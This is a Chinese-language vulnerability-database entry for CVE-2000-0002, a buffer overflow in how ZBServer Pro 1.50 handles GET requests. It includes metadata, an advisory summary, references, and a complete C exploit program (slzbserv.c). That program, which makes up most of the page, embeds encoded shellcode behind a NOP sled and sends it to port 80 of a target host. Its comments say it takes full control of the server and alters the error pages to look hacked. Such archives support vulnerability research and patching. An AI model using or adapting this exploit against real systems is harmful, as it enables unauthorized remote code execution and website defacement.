ZBSoft ZBServer缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1105655 漏洞类型 缓冲区溢出
发布时间 1999-12-23 更新时间 2006-11-16
CVE编号 CVE-2000-0002 CNNVD-ID CNNVD-199912-077
漏洞平台 Windows CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/19689
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199912-077
|漏洞详情
ZBServerPro1.50版本中存在缓冲区溢出漏洞,攻击者利用该漏洞通过长期的GET请求执行命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/889/info
 
ZBSoft ZBServer Pro is an Internet and Intranet server that supports HTTP, Gopher, FTP and Chat Services. ZBServer is available for Microsoft Windows operating systems.
 
ZBServer Pro 1.5 has an unchecked buffer in the code that handles GET requests. This weakness allows for the execution of arbitrary code. 

/** slzbserv.c - local/remote exploit for ZBServer PRO 1.50-r1x (WinNT)
 **
 ** ZBServer PRO 1.50-r1x exploit gets remote servers's full control.
 ** When you attacks a vulnerable server you can run abitrary code
 ** inside. Firstly, sploit creates an advisory file. It's information
 ** for administrative use. Later, exploit restores and kills
 ** overflowed thread but before it patchs some error information so
 ** all error pages will appear like hacked pages.
 **
 ** Compile on Debian with kernel 2.2.12: gcc -o  slzbserv slzbserv.c
 ** run: ./slzbserv hostname
 **
 ** http://mareasvivas.cjb.net / http://www.deepzone.org
 **
 ** Coded by |Zan | izan@galaxycorp.com
 **
 **/


#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/errno.h>
#include <netdb.h>

#define _PORT   80
#define _TamBuf 770

char crash[] = 
"GET /"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x81\xc7\xc8\x10\x10\x10\x81\xef\x10"
"\x10\x10\x10\x57\x5e\x33\xc0\x66\xb8\x31\x02\x90\x90\x50"
"\x59\xac\x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99\xc4\x18"
"\x74\xb1\x89\xd9\x99\xf3\x99\xf1\x19\x99\x99\x99\xf3\x9b"
"\xf3\x99\xf3\x99\xf1\x99\x99\x99\xd9\x14\x2c\xac\x8b\xd9"
"\x99\xcf\xf1\x19\x02\xd4\x99\xc3\x66\x8b\xc9\xc2\xf3\x99"
"\x14\x24\x3a\x89\xd9\x99\xaa\x59\x32\x14\x2c\x3a\x89\xd9"
"\x99\xcf\xf1\xd3\x98\x99\x99\x09\x14\x2c\x72\x89\xd9\x99"
"\xcf\xca\xf1\x49\x05\xd4\x99\xc3\x66\x8b\xca\xf1\x05\x02"
"\xd4\x99\xc3\x66\x8b\xf1\xa9\xd4\xde\x99\xc6\x14\x2c\x3e"
"\x89\xd9\x99\xf3\xdd\x09\x09\x09\x09\xc0\x35\x33\x7b\x65"
"\xf3\x99\x23\x31\x02\xd4\x99\x66\x8b\x99\x99\x99\x99\xca"
"\xfc\xeb\xef\xfc\xeb\xb9\xf1\xf8\xfa\xf2\xfc\xfd\xb7\xa5"
"\xb6\xf1\xab\xa7\xf1\xed\xed\xe9\xa3\xb6\xb6\xee\xee\xee"
"\xb7\xfd\xfc\xfc\xe9\xe3\xf6\xf7\xfc\xb7\xf6\xeb\xfe\xb9"
"\xb9\xca\xe9\xf5\xf6\xf0\xed\xb9\xfa\xf6\xfd\xfc\xfd\xb9"
"\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb9\xe4\xa3\xb0\xa5\xf1\xed"
"\xf4\xf5\xa7\xa5\xf1\xfc\xf8\xfd\xa7\xa5\xed\xf0\xed\xf5"
"\xfc\xa7\xca\xfc\xeb\xef\xfc\xeb\xb9\xf1\xf8\xfa\xf2\xfc"
"\xfd\xb7\xa5\xb6\xed\xf0\xed\xf5\xfc\xa7\xa5\xb6\xf1\xfc"
"\xf8\xfd\xa7\xa5\xfb\xf6\xfd\xe0\xa7\xa5\xfa\xfc\xf7\xed"
"\xfc\xeb\xa7\xd1\xfc\xf5\xf5\xf6\xb7\xb9\xc0\xf6\xec\xb9"
"\xf8\xeb\xfc\xb9\xeb\xec\xf7\xf7\xf0\xf7\xfe\xb9\xf8\xb9"
"\xc3\xdb\xca\xfc\xeb\xef\xfc\xeb\xb9\xc9\xcb\xd6\xea\xb9"
"\xfb\xec\xfe\xfe\xe0\xb9\xef\xfc\xeb\xea\xf0\xf6\xf7\xb9"
"\xf8\xf7\xfd\xb9\xe0\xf6\xec\xb9\xf1\xf8\xef\xfc\xb9\xfb"
"\xfc\xfc\xf7\xb9\xf8\xfb\xec\xea\xfc\xfd\xb7\xa5\xe9\xa7"
"\xd4\xf6\xeb\xfc\xb9\xf0\xf7\xff\xf6\xeb\xf4\xf8\xed\xf0"
"\xf6\xf7\xb9\xfa\xf8\xf7\xb9\xfb\xfc\xb9\xfd\xf6\xee\xf7"
"\xf5\xf6\xf8\xfd\xb9\xff\xeb\xf6\xf4\xb9\xf1\xed\xed\xe9"
"\xa3\xb6\xb6\xee\xee\xee\xb7\xfd\xfc\xfc\xe9\xe3\xf6\xf7"
"\xfc\xb7\xf6\xeb\xfe\xb9\xf6\xeb\xb9\xf1\xed\xed\xe9\xa3"
"\xb6\xb6\xf4\xf8\xeb\xfc\xf8\xea\xef\xf0\xef\xf8\xea\xb7"
"\xfa\xf3\xfb\xb7\xf7\xfc\xed\xa5\xe9\xa7\xeb\xfc\xfe\xf8"
"\xeb\xfd\xea\xb9\xed\xf6\xb9\xdd\xfc\xfc\xe9\xc3\xf6\xf7"
"\xfc\xb9\xfa\xeb\xfc\xee\xb9\xb1\xcd\xf1\xfc\xce\xf0\xe3"
"\xf8\xeb\xfd\xb5\xb9\xd8\xf7\xec\xea\xf2\xf8\xb9\xf8\xf7"
"\xfd\xb9\xd7\xfc\xf4\xf6\xb0\xa5\xe9\xa7\xda\xf6\xfd\xfc"
"\xfd\xb9\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb7\xa5\xb6\xfa\xfc"
"\xf7\xed\xfc\xeb\xa7\xa5\xb6\xfb\xf6\xfd\xe0\xa7\xa5\xb6"
"\xf1\xed\xf4\xf5\xa7\xb7\xc5\xf1\xed\xf4\xf5\xc5\xca\xfc"
"\xeb\xef\xfc\xeb\xd8\xfb\xec\xea\xfc\xfd\xfb\xe0\xf0\xc3"
"\xf8\xf7\xb7\xf1\xed\xf4\xf5\x99\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\xac\xe0\xe3\x01";


int     sock;
struct  sockaddr_in sock_a;
struct  hostent *host;

int main (int argc, char *argv[]) {

 printf("\nWinNT 4.0 sp5 ZBServer PRO 1.50-r1x exploit\n");
 printf("http://mareasvivas.cjb.net - http://www.deepzone.org\n\n");
 printf("Coded by -=[ |Zan ]=-  izan@galaxycorp.com - izan@deepzone.org\n\n");

 if(argc < 2) {
   fprintf(stderr, "Error : Usage: %s <hostname> \n", argv[0]);
   exit(0);
  }


 if((host=(struct hostent *)gethostbyname(argv[1])) == NULL) {
    perror("gethostbyname");
    exit(-1);
  }

 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
    perror("create socket");
    exit(-1);
  }

 sock_a.sin_family=AF_INET;
 sock_a.sin_port=htons(_PORT);
 memcpy((char *)&sock_a.sin_addr,(char *)host->h_addr,host->h_length);
 if(connect(sock,(struct sockaddr *)&sock_a,sizeof(sock_a))!=0) {
    perror("create connect");
    exit(-1);
  }

  fflush(stdout);

  write(sock,crash,_TamBuf);
  write(sock,"\n\n", 2);
  printf("done.\n\n");

}
|参考资料

来源:BUGTRAQ
名称:20000128ZBServer1.50-r1xexploit(WinNT)
链接:http://www.securityfocus.com/templates/archive.pike?list=1&msg=36B0596E.8D111D66@teleline.es
来源:BID
名称:889
链接:http://www.securityfocus.com/bid/889
来源:NTBUGTRAQ
名称:19991223Local/RemoteGETBufferOverflowVulnerabilityinZBServer1.5ProEditionforWin98/NT
链接:http://www.ntbugtraq.com/default.asp?pid=36&sid=1&A2=ind9912&L=NTBUGTRAQ&P=R3556
来源:BUGTRAQ
名称:19991223Local/RemoteGETBufferOverflowVulnerabilityinZBServer1.5ProEditionforWin98/NT
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=94598388530358&w=2